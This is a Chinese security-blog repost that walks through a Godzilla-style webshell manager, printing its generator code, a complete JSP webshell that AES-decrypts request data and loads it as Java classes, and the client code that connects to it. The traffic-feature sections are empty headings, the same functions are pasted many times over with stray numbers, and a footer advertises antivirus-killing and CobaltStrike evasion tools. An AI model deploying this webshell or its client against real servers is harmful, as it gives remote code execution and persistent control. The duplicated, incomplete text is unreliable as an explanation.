点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
文章前言
来源:先知社区,作者:ooyywwll
环境搭建
https://github.com/safe6Sec/ShellManageTool
webshell 生成
密码和 key 自定义,有效载荷就是什么类型的 webshell,然后和加密器
shells/cryptions/JavaAes/Generate.java
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
try {
// 解码传入的 base64 字符串
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
// 如果 session 中没有 "payload" 属性,则初始化它
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果 "payload" 已存在,则将数据存入请求参数
request.setAttribute("parameters", data);
// 创建一个 ByteArrayOutputStream 对象
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
// 创建一个新的 "payload" 类实例并执行一些操作
Object f = ((Class) session.getAttribute("payload")).newInstance();
// 这两行代码的作用可能是执行某些方法(实际上似乎在执行一些无效的操作)
f.equals(arrOut); // 这里可能有逻辑错误,equals 方法不应该在这里使用
f.equals(pageContext); // 这里也类似,pageContext 似乎并不相关
// 使用 md5 对数据进行处理,并分段输出
response.getWriter().write(md5.substring(0, 16));
// 将 ByteArrayOutputStream 的内容进行 Base64 编码后写入响应
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// 输出 md5 后半部分
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
// 处理异常
e.printStackTrace(); // 输出异常的堆栈信息
}
主要是在设置响应的内容,然后我们直接看到最后生成的 webshell 吧,因为中间就是对输入的值的一些替换
<%!
// 定义常量和变量
String xc = "3c6e0b8a9c15224a";
String pass = "passasd";
String md5 = md5(pass + xc);
// 自定义类加载器,继承 ClassLoader
class X extends ClassLoader {
public X(ClassLoader z) {
super(z); // 使用指定的父加载器
}
// 自定义方法:从字节数组加载类
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length); // 定义并返回类
}
}
// AES 加解密方法
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s); // 执行加解密
} catch (Exception e) {
return null; // 处理异常,返回 null
}
}
// MD5 加密方法
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); // 转换为十六进制并返回
} catch (Exception e) {}
return ret;
}
// Base64 编码方法
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
// 使用 Java 8+ 的 Base64 编码
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});
} catch (Exception e) {
try {
// 使用旧版本的 Base64 编码
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});
} catch (Exception e2) {}
}
return value; // 返回编码后的字符串
}
// Base64 解码方法
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
// 使用 Java 8+ 的 Base64 解码
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
// 使用旧版本的 Base64 解码
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {}
}
return value; // 返回解码后的字节数组
}
%>
<%
try {
// 从请求中获取传入的 base64 参数并进行解码
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false); // 使用 AES 解密
// 如果 session 中没有 payload,则加载字节码
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果 payload 存在,则继续处理
request.setAttribute("parameters", data);
// 创建 ByteArrayOutputStream 用于存储数据
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
// 通过反射实例化 payload
Object f = ((Class) session.getAttribute("payload")).newInstance();
// 执行一些不必要的操作(这里只是防止错误的代码)
f.equals(arrOut);
f.equals(pageContext);
// 向响应中写入 MD5 字符串的前 16 个字符
response.getWriter().write(md5.substring(0, 16));
// 将处理后的数据进行 Base64 编码并写入响应
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// 写入 MD5 字符串的后 16 个字符
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
// 捕获异常并忽略
}
%>
连接 webshell
private void testButtonClick(ActionEvent actionEvent) {
if (!updateTempShellEntity()) {
JOptionPane.showMessageDialog(this, this.error, "提示", 2);
this.error = null;
} else if (!this.shellContext.initShellOpertion()) {
JOptionPane.showMessageDialog(this, "initShellOpertion Fail", "提示", 2);
} else if (this.shellContext.getPayloadModel().test()) {
JOptionPane.showMessageDialog(this, "Success!", "提示", 1);
} else {
JOptionPane.showMessageDialog(this, "Payload Test Fail", "提示", 2);
}
}
public boolean initShellOpertion() {
boolean state = false;
try {
this.http = ApplicationContext.getHttp(this);
this.payloadModel = ApplicationContext.getPayload(this.payload);
this.cryptionModel = ApplicationContext.getCryption(this.payload, this.cryption);
//初始化,会发送初始化payload
this.cryptionModel.init(this);
if (this.cryptionModel.check()) {
this.payloadModel.init(this);
//发送测试包
if (this.payloadModel.test()) {
state = true;
} else {
Log.error("payload Initialize Fail !");
}
} else {
Log.error("cryption Initialize Fail !");
}
return state;
} catch (Exception e) {
Log.error(e);
return false;
}
}
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + new String(this.key));
//初始化md5标识
this.findStrLeft = findStrMd5.substring(0, 16).toUpperCase();
this.findStrRight = findStrMd5.substring(16).toUpperCase();
try {
this.encodeCipher = Cipher.getInstance("AES");
this.decodeCipher = Cipher.getInstance("AES");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));
this.payload = this.shell.getPayloadModel().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
return;
}
Log.error("payload Is Null");
} catch (Exception e) {
Log.error(e);
}
}
public HttpResponse sendHttpResponse(Map<String, String> header, byte[] requestData, int connTimeOut, int readTimeOut) {
int i;
int i2 = 1;
//对发送数据进行加密
byte[] requestData2 = this.shellContext.getCryptionModel().encode(requestData);
if (this.shellContext.isSendLRReqData()) {
byte[] leftData = this.shellContext.getReqLeft().getBytes();
byte[] rightData = this.shellContext.getReqRight().getBytes();
if (leftData.length > 0) {
i = leftData.length;
} else {
i = 1;
}
Object concatArrays = functions.concatArrays(leftData, 0, i - 1, requestData2, 0, requestData2.length - 1);
int length = (leftData.length + requestData2.length) - 1;
if (rightData.length > 0) {
i2 = rightData.length;
}
requestData2 = (byte[]) functions.concatArrays(concatArrays, 0, length, rightData, 0, i2 - 1);
}
return SendHttpConn(this.shellContext.getUrl(), "POST", header, requestData2, connTimeOut, readTimeOut, this.proxy);
}
public byte[] encode(byte[] data) {
try {
return (this.pass + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public boolean check() {
return this.state;
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 0
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 1
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 2
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 3
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
流量特征
cookie 的;号
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 4
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
响应体特征
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 5
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 6
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 7
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 8
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 9
String template;
try {
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
InputStream inputStream2 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream2));
inputStream2.close();
Object selectedValue = JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);
if (selectedValue == null) {
return null;
}
String suffix = (String) selectedValue;
InputStream inputStream3 = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);
String template2 = new String(functions.readInputStream(inputStream3));
inputStream3.close();
//jspx 需要处理
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
code = code.replace("<", "<").replace(">", ">");
}
//判断是不是上帝模式,如果是会进行unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));
} else {
template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);
}
return template.replace("n", "").replace("r", "").getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}
https://github.com/kong030813/Z-Godzilla_ekp
try { 0
// 解码传入的 base64 字符串
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
// 如果 session 中没有 "payload" 属性,则初始化它
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果 "payload" 已存在,则将数据存入请求参数
request.setAttribute("parameters", data);
// 创建一个 ByteArrayOutputStream 对象
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
// 创建一个新的 "payload" 类实例并执行一些操作
Object f = ((Class) session.getAttribute("payload")).newInstance();
// 这两行代码的作用可能是执行某些方法(实际上似乎在执行一些无效的操作)
f.equals(arrOut); // 这里可能有逻辑错误,equals 方法不应该在这里使用
f.equals(pageContext); // 这里也类似,pageContext 似乎并不相关
// 使用 md5 对数据进行处理,并分段输出
response.getWriter().write(md5.substring(0, 16));
// 将 ByteArrayOutputStream 的内容进行 Base64 编码后写入响应
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// 输出 md5 后半部分
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
// 处理异常
e.printStackTrace(); // 输出异常的堆栈信息
}
然后我们看效果
try { 1
// 解码传入的 base64 字符串
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
// 如果 session 中没有 "payload" 属性,则初始化它
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果 "payload" 已存在,则将数据存入请求参数
request.setAttribute("parameters", data);
// 创建一个 ByteArrayOutputStream 对象
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
// 创建一个新的 "payload" 类实例并执行一些操作
Object f = ((Class) session.getAttribute("payload")).newInstance();
// 这两行代码的作用可能是执行某些方法(实际上似乎在执行一些无效的操作)
f.equals(arrOut); // 这里可能有逻辑错误,equals 方法不应该在这里使用
f.equals(pageContext); // 这里也类似,pageContext 似乎并不相关
// 使用 md5 对数据进行处理,并分段输出
response.getWriter().write(md5.substring(0, 16));
// 将 ByteArrayOutputStream 的内容进行 Base64 编码后写入响应
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// 输出 md5 后半部分
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
// 处理异常
e.printStackTrace(); // 输出异常的堆栈信息
}
try { 2
// 解码传入的 base64 字符串
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
// 如果 session 中没有 "payload" 属性,则初始化它
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果 "payload" 已存在,则将数据存入请求参数
request.setAttribute("parameters", data);
// 创建一个 ByteArrayOutputStream 对象
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
// 创建一个新的 "payload" 类实例并执行一些操作
Object f = ((Class) session.getAttribute("payload")).newInstance();
// 这两行代码的作用可能是执行某些方法(实际上似乎在执行一些无效的操作)
f.equals(arrOut); // 这里可能有逻辑错误,equals 方法不应该在这里使用
f.equals(pageContext); // 这里也类似,pageContext 似乎并不相关
// 使用 md5 对数据进行处理,并分段输出
response.getWriter().write(md5.substring(0, 16));
// 将 ByteArrayOutputStream 的内容进行 Base64 编码后写入响应
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// 输出 md5 后半部分
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
// 处理异常
e.printStackTrace(); // 输出异常的堆栈信息
}
访问这个木马
请求包特征
圈子介绍
博主介绍:
目前已经更新的免杀内容:
一键击溃360+核晶
一键击溃windows defender
一键击溃火绒进程
CobaltStrike4.9.1二开
CobaltStrike免杀加载器
数据库直连工具免杀版
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
往期推荐
1.
3
4
5.
【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...